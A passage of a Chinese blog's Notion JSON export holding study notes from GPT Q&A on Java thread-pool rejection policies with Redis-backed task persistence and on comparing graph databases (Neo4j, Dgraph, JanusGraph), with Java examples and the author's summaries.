任务。"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5b42e21f-39be-4995-b9ab-932bda846ff4":{"value":{"id":"5b42e21f-39be-4995-b9ab-932bda846ff4","type":"numbered_list","properties":{"title":[["DiscardOldestPolicy:丢弃队列里最老的一个任务,然后尝试把当前任务加入队列。"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"40d6c976-ad3e-4c16-a7b9-db7c81ed61c5":{"value":{"id":"40d6c976-ad3e-4c16-a7b9-db7c81ed61c5","type":"numbered_list","properties":{"title":[["DiscardPolicy:直接丢弃任务,不予任何处理。"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ba812b10-ec82-4659-95be-64c7c3dd0679":{"value":{"id":"ba812b10-ec82-4659-95be-64c7c3dd0679","type":"text","properties":{"title":[["在你的情况下,如果线程池满了,我们可以选择"],["CallerRunsPolicy",[["c"]]],["策略,这样新的任务就会在调用者线程中执行,这样可以保证不会丢失任务。"]]},"created_time":1712470738032,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"311ac43b-4c0e-4d70-9b5a-de42107126e3":{"value":{"id":"311ac43b-4c0e-4d70-9b5a-de42107126e3","type":"text","properties":{"title":[["其次,为了保证服务器重启后还能继续执行任务,我们需要把任务持久化存储。在任务开始执行前,我们需要把任务的信息存储在一个持久化的存储系统(比如数据库)中。然后每次任务执行完成后,我们需要更新这个任务在数据库中的状态。如果服务器重启,我们可以在服务器启动的时候,从数据库中获取未完成的任务,然后再次提交这些任务到线程池中执行。"]]},"created_time":1712470738032,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"53a0914a-757f-47b8-8ea7-38da041281a1":{"value":{"id":"53a0914a-757f-47b8-8ea7-38da041281a1","type":"text","properties":{"title":[["这样,我们就可以确保每个任务都能被执行,即使在服务器重启的情况下也能恢复执行。但是这种方案的实现比较复杂,需要结合线程池、数据库等多个技术。"]]},"created_time":1712470738032,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"81e93f64-ceec-4abb-ae75-5cff3959dc5d":{"value":{"id":"81e93f64-ceec-4abb-ae75-5cff3959dc5d","type":"divider","created_time":1712472251654,"last_edited_time":1712472251655,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b62318d2-b560-4d9d-96d3-e94c6b06cc78":{"value":{"id":"b62318d2-b560-4d9d-96d3-e94c6b06cc78","type":"text","created_time":1712472251674,"last_edited_time":1712472251674,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"7f4a3fab-c74c-428c-89ba-43137bb10cb7":{"value":{"id":"7f4a3fab-c74c-428c-89ba-43137bb10cb7","type":"quote","properties":{"title":[["给我java代码,持久化选redis,你直接使用redisTemplate就ok,线程池的声明也要一起给我"]]},"created_time":1712470839436,"last_edited_time":1712472253913,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"7146a165-c3c3-4efd-838b-601e8643f55c":{"value":{"id":"7146a165-c3c3-4efd-838b-601e8643f55c","type":"text","properties":{"title":[["这是一个基础的示例,展示了如何使用Redis和线程池来确保任务的执行。这个示例使用了Spring框架的"],["RedisTemplate",[["c"]]],["和"],["ThreadPoolTaskExecutor",[["c"]]],["。"]]},"created_time":1712470975886,"last_edited_time":1712470975890,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1413b7cb-5927-4f20-b160-39771f569d38":{"value":{"id":"1413b7cb-5927-4f20-b160-39771f569d38","type":"code","properties":{"title":[["import org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\nimport java.util.concurrent.ThreadPoolExecutor;\n\n@Component\npublic class TaskManager {\n\n @Autowired\n private RedisTemplate redisTemplate;\n\n private ThreadPoolTaskExecutor executor;\n\n public TaskManager() {\n executor = new ThreadPoolTaskExecutor();\n executor.setCorePoolSize(5);\n executor.setMaxPoolSize(10);\n executor.setQueueCapacity(100);\n executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());\n executor.initialize();\n }\n\n public void submitTask(Runnable task) {\n // Save task to Redis before submitting\n redisTemplate.opsForList().leftPush(\"taskQueue\", task);\n executor.execute(() -> {\n task.run();\n // Remove task from Redis after successful execution\n redisTemplate.opsForList().remove(\"taskQueue\", 0, task);\n });\n }\n\n public void recoverTasks() {\n // Fetch tasks from Redis and submit them for execution\n Long size = redisTemplate.opsForList().size(\"taskQueue\");\n for (int i = 0; i < size; i++) {\n Runnable task = redisTemplate.opsForList().rightPop(\"taskQueue\");\n if (task != null) {\n submitTask(task);\n }\n }\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712470975886,"last_edited_time":1712470975890,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ca899d05-efde-4ce6-bdcb-98a0c6d29096":{"value":{"id":"ca899d05-efde-4ce6-bdcb-98a0c6d29096","type":"text","properties":{"title":[["注意这个示例只是一个基础的示例,实际使用时需要根据你的应用的需求来进行修改和优化。例如,你可能需要把任务的状态和结果也存储在Redis中,以便在任务执行完成后能获取到任务的结果。同时,这个示例也没有处理Redis和线程池的异常,你需要根据你的应用的需求来添加相应的异常处理代码。"]]},"created_time":1712470975886,"last_edited_time":1712470975890,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"12748c2a-db4e-498f-835d-726826a93f3c":{"value":{"id":"12748c2a-db4e-498f-835d-726826a93f3c","type":"divider","created_time":1712472261112,"last_edited_time":1712472261113,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8bace18c-ec1d-40d4-9ee5-e3b380686397":{"value":{"id":"8bace18c-ec1d-40d4-9ee5-e3b380686397","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"86f3eb3e-290c-49fd-9d12-3e3fc607f077","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712470969377,"last_edited_time":1712472364776,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1e324593-62b4-4a0e-a565-2bf69d4dc6f8":{"value":{"id":"1e324593-62b4-4a0e-a565-2bf69d4dc6f8","type":"bulleted_list","properties":{"title":[["最后gpt给出的答案中,拒绝策略用的CallerRunsPolicy,但好在任务执行入口里面包装了持久化策略"]]},"created_time":1712470985932,"last_edited_time":1712471222407,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4edec3cd-49b4-4126-b098-0609bee2c2e5":{"value":{"id":"4edec3cd-49b4-4126-b098-0609bee2c2e5","type":"bulleted_list","properties":{"title":[["任务的事务性在这里面是没有考虑的"]]},"created_time":1712471222593,"last_edited_time":1712471244240,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"6ea42de6-a4de-41e1-a041-7b46c38f0e2d":{"value":{"id":"6ea42de6-a4de-41e1-a041-7b46c38f0e2d","type":"bulleted_list","properties":{"title":[["从线程池机制和业务机制做双重拦截"]]},"created_time":1712471247739,"last_edited_time":1712471264523,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9e578a30-9fb1-4576-96ee-ae152f298c2b":{"value":{"id":"9e578a30-9fb1-4576-96ee-ae152f298c2b","type":"bulleted_list","properties":{"title":[["其实变相的写了一个mq出来,不如用mq"]]},"created_time":1712471266124,"last_edited_time":1712471276801,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"70dcfb86-db56-4aef-896a-2fbf70b58a9b":{"value":{"id":"70dcfb86-db56-4aef-896a-2fbf70b58a9b","type":"sub_header","properties":{"title":[["8.Neo4j,DGraph,GanusGraph图数据库"]]},"format":{"copied_from_pointer":{"id":"86f3eb3e-290c-49fd-9d12-3e3fc607f077","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712471299943,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"86f3eb3e-290c-49fd-9d12-3e3fc607f077"}},"4d584daa-14ac-4e9c-85d0-c133fec59503":{"value":{"id":"4d584daa-14ac-4e9c-85d0-c133fec59503","type":"sub_sub_header","properties":{"title":[["gpt问答"]]},"created_time":1712472367212,"last_edited_time":1712472369946,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"676bf588-6f39-4f98-80f6-76fa817846a9":{"value":{"id":"676bf588-6f39-4f98-80f6-76fa817846a9","type":"quote","properties":{"title":[["图数据库是什么,我只用过mysql和redis。给我对比下Neo4j,DGraph,GanusGraph"]]},"created_time":1712334476089,"last_edited_time":1712472268561,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5b82e23c-c3a9-49ae-8327-5854869fd29f":{"value":{"id":"5b82e23c-c3a9-49ae-8327-5854869fd29f","type":"text","properties":{"title":[["图数据库是一种专门用于处理图形数据的数据库。图形数据是一种复杂的数据类型,其中的元素是节点(Nodes)和边(Edges)。节点代表实体(例如人、地点、产品等),而边则代表这些实体之间的关系。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9d783fb5-f77e-4fcb-bf77-67e14c1acfbe":{"value":{"id":"9d783fb5-f77e-4fcb-bf77-67e14c1acfbe","type":"text","properties":{"title":[["与传统的关系型数据库(如 MySQL)和键值存储(如 Redis)相比,图数据库的主要优点在于它们可以高效地处理复杂的多对多关系。在关系型数据库中,这种关系往往需要通过多个表进行联接(JOIN)操作来处理,而这在大规模数据中会变得非常低效。而在图数据库中,这种关系是直接存储在数据库中的,因此可以非常快速地进行查询。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"be79a372-398f-4ff7-a218-d3970205a93b":{"value":{"id":"be79a372-398f-4ff7-a218-d3970205a93b","type":"text","properties":{"title":[["以下是你提到的三个图数据库(Neo4j、Dgraph和JanusGraph)的简单对比:"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"834eea56-b6ff-4ad3-a74d-5cee91f0773c":{"value":{"id":"834eea56-b6ff-4ad3-a74d-5cee91f0773c","type":"bulleted_list","properties":{"title":[["Neo4j",[["b"]]],[": 是最知名的图数据库之一,提供了丰富的图处理功能和一个强大的查询语言(Cypher)。Neo4j 还提供了一系列的高级功能,如全文搜索、权限管理和空间函数。但是,Neo4j 是一个基于 JVM 的产品,因此可能需要比其他某些数据库更多的系统资源。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"01145d63-bbe5-43f9-a39d-1fc088ff79ed":{"value":{"id":"01145d63-bbe5-43f9-a39d-1fc088ff79ed","type":"bulleted_list","properties":{"title":[["Dgraph",[["b"]]],[": 是一个分布式的、可扩展的、事务性的图数据库,它的设计目标是为 Google 的知识图谱提供实时服务。Dgraph 提供了一种类似于 GraphQL 的查询语言,并支持 ACID 事务。相比于 Neo4j,Dgraph 的一个优点在于其分布式的特性,使其可以更好地处理大规模的图数据。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c52bffb0-8001-4654-b0b3-75d6198b9d7c":{"value":{"id":"c52bffb0-8001-4654-b0b3-75d6198b9d7c","type":"bulleted_list","properties":{"title":[["JanusGraph",[["b"]]],[": 是一个可以扩展的图数据库,支持多个后端存储(如 Apache Cassandra、Apache HBase 和 Google Cloud Bigtable),并支持全局图查询。JanusGraph 的一个主要优点在于其插件化的架构,使得它可以灵活地适配不同的后端存储和索引技术。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4c359f4a-1ecb-408a-bfb1-be69a6db3ded":{"value":{"id":"4c359f4a-1ecb-408a-bfb1-be69a6db3ded","type":"text","properties":{"title":[["以上这些图数据库各有优缺点,选择哪一个最适合你,取决于你的具体需求和偏好。"]]},"created_time":1712471469643,"last_edited_time":1712471469647,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9aa0ad95-e940-4174-a98d-2b0a667730fa":{"value":{"id":"9aa0ad95-e940-4174-a98d-2b0a667730fa","type":"divider","created_time":1712472275064,"last_edited_time":1712472275065,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e2e33cef-5ad5-4ca7-93c4-21cc283a25b9":{"value":{"id":"e2e33cef-5ad5-4ca7-93c4-21cc283a25b9","type":"text","created_time":1712471497005,"last_edited_time":1712471497005,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4ffe24ce-ee7b-43f6-99fc-65df6af3ec63":{"value":{"id":"4ffe24ce-ee7b-43f6-99fc-65df6af3ec63","type":"quote","properties":{"title":[["给我举一个使用图数据库的具体案例,并且给我java代码"]]},"created_time":1712471498509,"last_edited_time":1712472279230,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f6515904-8e88-4d15-9397-f9c17e9cbf73":{"value":{"id":"f6515904-8e88-4d15-9397-f9c17e9cbf73","type":"text","properties":{"title":[["图数据库在许多领域都有应用,例如社交网络、"],["推荐系统",[["b"]]],["、生物信息学等。这里我将给你一个简单的社交网络的案例。"]]},"created_time":1712471628360,"last_edited_time":1712471634956,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ffccf9aa-8cc1-4165-97e0-dd089cf8bb8e":{"value":{"id":"ffccf9aa-8cc1-4165-97e0-dd089cf8bb8e","type":"text","properties":{"title":[["假设我们有一个社交网络,我们想要找出两个用户之间的最短路径(也就是他们之间的关系链)。我们可以使用 Neo4j 图数据库来存储和查询这个社交网络。"]]},"created_time":1712471628360,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"685f6334-f314-4b13-93a7-0ab05c990939":{"value":{"id":"685f6334-f314-4b13-93a7-0ab05c990939","type":"text","properties":{"title":[["这是一段使用 Neo4j Java API 来创建节点和关系,并查询两个节点之间的最短路径的代码。"]]},"created_time":1712471628360,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"775c6317-b272-4ff8-b863-9ba7ddf5c963":{"value":{"id":"775c6317-b272-4ff8-b863-9ba7ddf5c963","type":"text","properties":{"title":[["首先,添加 Maven 依赖:"]]},"created_time":1712471628360,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f0a53d9e-a460-4527-b030-c16c8cc6f19b":{"value":{"id":"f0a53d9e-a460-4527-b030-c16c8cc6f19b","type":"code","properties":{"title":[["\n \n org.neo4j.driver\n neo4j-java-driver\n 4.0.1\n \n"]],"language":[["XML"]]},"format":{"code_wrap":true},"created_time":1712471628363,"last_edited_time":1712472284792,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8757d938-7b43-4c38-95e8-c7ec1fc7a2e4":{"value":{"id":"8757d938-7b43-4c38-95e8-c7ec1fc7a2e4","type":"text","properties":{"title":[["然后,这是 Java 代码:"]]},"created_time":1712471628363,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1392cc6d-45ac-48d6-b550-1ce3c2c8c24c":{"value":{"id":"1392cc6d-45ac-48d6-b550-1ce3c2c8c24c","type":"code","properties":{"title":[["import org.neo4j.driver.*;\n\npublic class Neo4jExample {\n public static void main(String[] args) {\n Driver driver = GraphDatabase.driver(\"bolt://localhost:7687\", AuthTokens.basic(\"neo4j\", \"password\"));\n\n try (Session session = driver.session()) {\n // 创建节点和关系\n session.writeTransaction(tx -> {\n tx.run(\"CREATE (alice:Person {name: 'Alice'})\");\n tx.run(\"CREATE (bob:Person {name: 'Bob'})\");\n tx.run(\"CREATE (charlie:Person {name: 'Charlie'})\");\n tx.run(\"MATCH (a:Person), (b:Person) WHERE a.name = 'Alice' AND b.name = 'Bob' CREATE (a)-[:KNOWS]->(b)\");\n tx.run(\"MATCH (a:Person), (b:Person) WHERE a.name = 'Bob' AND b.name = 'Charlie' CREATE (a)-[:KNOWS]->(b)\");\n return null;\n });\n\n // 查询 Alice 到 Charlie 的最短路径\n session.readTransaction(tx -> {\n Result result = tx.run(\"MATCH (a:Person {name: 'Alice'}), (b:Person {name: 'Charlie'}), p = shortestPath((a)-[:KNOWS*..5]-(b)) RETURN p\");\n while (result.hasNext()) {\n Record record = result.next();\n System.out.println(record.get(\"p\").asPath());\n }\n return null;\n });\n }\n\n driver.close();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712471628363,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"96e8deac-6e4c-449a-86ec-53e7f4bc6c20":{"value":{"id":"96e8deac-6e4c-449a-86ec-53e7f4bc6c20","type":"text","properties":{"title":[["在这个例子中,我们首先创建了三个节点(Alice、Bob 和 Charlie),然后创建了两个关系(Alice 知道 Bob,Bob 知道 Charlie)。然后,我们使用 "],["shortestPath",[["c"]]],[" 函数来查询 Alice 到 Charlie 的最短路径。"]]},"created_time":1712471628363,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8d99ce35-fbaa-45e9-a05a-f0567aba31d8":{"value":{"id":"8d99ce35-fbaa-45e9-a05a-f0567aba31d8","type":"text","properties":{"title":[["注意,这个例子假设你已经在本地运行了 Neo4j,并且用户名和密码分别是 \"neo4j\" 和 \"password\"。你也需要在你的 Maven 项目中添加 Neo4j Java driver 的依赖。"]]},"created_time":1712471628363,"last_edited_time":1712471628368,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"7f371d94-8eec-47c6-a856-8c062783c6b2":{"value":{"id":"7f371d94-8eec-47c6-a856-8c062783c6b2","type":"divider","created_time":1712472294046,"last_edited_time":1712472294047,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"fc0a74bc-a96e-4d6f-971c-b5513c1462ee":{"value":{"id":"fc0a74bc-a96e-4d6f-971c-b5513c1462ee","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712471709899,"last_edited_time":1712472375114,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"0e56365b-5f4e-467a-8c3f-0b3efa1d307e":{"value":{"id":"0e56365b-5f4e-467a-8c3f-0b3efa1d307e","type":"bulleted_list","properties":{"title":[["对比关系型数据库和kv数据库,图形数据库高效处理复杂的多对多关系"]]},"created_time":1712471712272,"last_edited_time":1712471773204,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4069f7aa-52d2-4e1b-bace-27d77e694cf0":{"value":{"id":"4069f7aa-52d2-4e1b-bace-27d77e694cf0","type":"bulleted_list","properties":{"title":[["neo4j基于jvm的,这个可以着重关注下"]]},"created_time":1712471800985,"last_edited_time":1712471812276,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ccde5138-86f6-4b49-b355-b91c5873c1bd":{"value":{"id":"ccde5138-86f6-4b49-b355-b91c5873c1bd","type":"bulleted_list","properties":{"title":[["社交网络、推荐系统可以使用图数据库"]]},"created_time":1712471812432,"last_edited_time":1712471847202,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"bbdfee63-aff2-49c4-9fe9-4fcbd2e095ac":{"value":{"id":"bbdfee63-aff2-49c4-9fe9-4fcbd2e095ac","type":"bulleted_list","properties":{"title":[["最短路径问题案例,确实使用sql来写很麻烦,要多次io"]]},"created_time":1712471847366,"last_edited_time":1712471873432,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c9344dda-c117-4fb1-9b1a-094e94d4258f":{"value":{"id":"c9344dda-c117-4fb1-9b1a-094e94d4258f","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9a7f8507-04ff-40b4-908a-d18bb90a9935":{"value":{"id":"9a7f8507-04ff-40b4-908a-d18bb90a9935","type":"column_list","content":["36dbfd7f-df86-4f94-b94f-7440f8035d02","355a3f83-4be7-4a13-bf89-74180036a8ca","6f2a06ed-b84b-47c5-8941-7fb8a7e022c0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"7898d291-822b-4935-a99c-bcab5e9c026c":{"value":{"id":"7898d291-822b-4935-a99c-bcab5e9c026c","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"36dbfd7f-df86-4f94-b94f-7440f8035d02":{"value":{"id":"36dbfd7f-df86-4f94-b94f-7440f8035d02","type":"column","content":["76a650ee-0d62-46a1-b87d-0b7644365acc"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"9a7f8507-04ff-40b4-908a-d18bb90a9935","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"355a3f83-4be7-4a13-bf89-74180036a8ca":{"value":{"id":"355a3f83-4be7-4a13-bf89-74180036a8ca","type":"column","content":["7f064ccd-7fe5-43a3-8244-b2ae572e3dca","75bd07f5-0978-441e-8f52-1afd644bef9d"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960849,"last_edited_time":1712329960849,"parent_id":"9a7f8507-04ff-40b4-908a-d18bb90a9935","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"6f2a06ed-b84b-47c5-8941-7fb8a7e022c0":{"value":{"id":"6f2a06ed-b84b-47c5-8941-7fb8a7e022c0","type":"column","content":["b54428ae-8121-43f4-9e49-e7721bb7e23c"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960850,"last_edited_time":1712329960850,"parent_id":"9a7f8507-04ff-40b4-908a-d18bb90a9935","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"76a650ee-0d62-46a1-b87d-0b7644365acc":{"value":{"id":"76a650ee-0d62-46a1-b87d-0b7644365acc","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712329960850,"last_edited_time":1712329960850,"parent_id":"36dbfd7f-df86-4f94-b94f-7440f8035d02","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"7f064ccd-7fe5-43a3-8244-b2ae572e3dca":{"value":{"id":"7f064ccd-7fe5-43a3-8244-b2ae572e3dca","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960850,"last_edited_time":1712329960850,"parent_id":"355a3f83-4be7-4a13-bf89-74180036a8ca","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"75bd07f5-0978-441e-8f52-1afd644bef9d":{"value":{"id":"75bd07f5-0978-441e-8f52-1afd644bef9d","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712329960850,"last_edited_time":1712329960850,"parent_id":"355a3f83-4be7-4a13-bf89-74180036a8ca","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"b54428ae-8121-43f4-9e49-e7721bb7e23c":{"value":{"id":"b54428ae-8121-43f4-9e49-e7721bb7e23c","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712329960850,"last_edited_time":1712329960850,"parent_id":"6f2a06ed-b84b-47c5-8941-7fb8a7e022c0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-2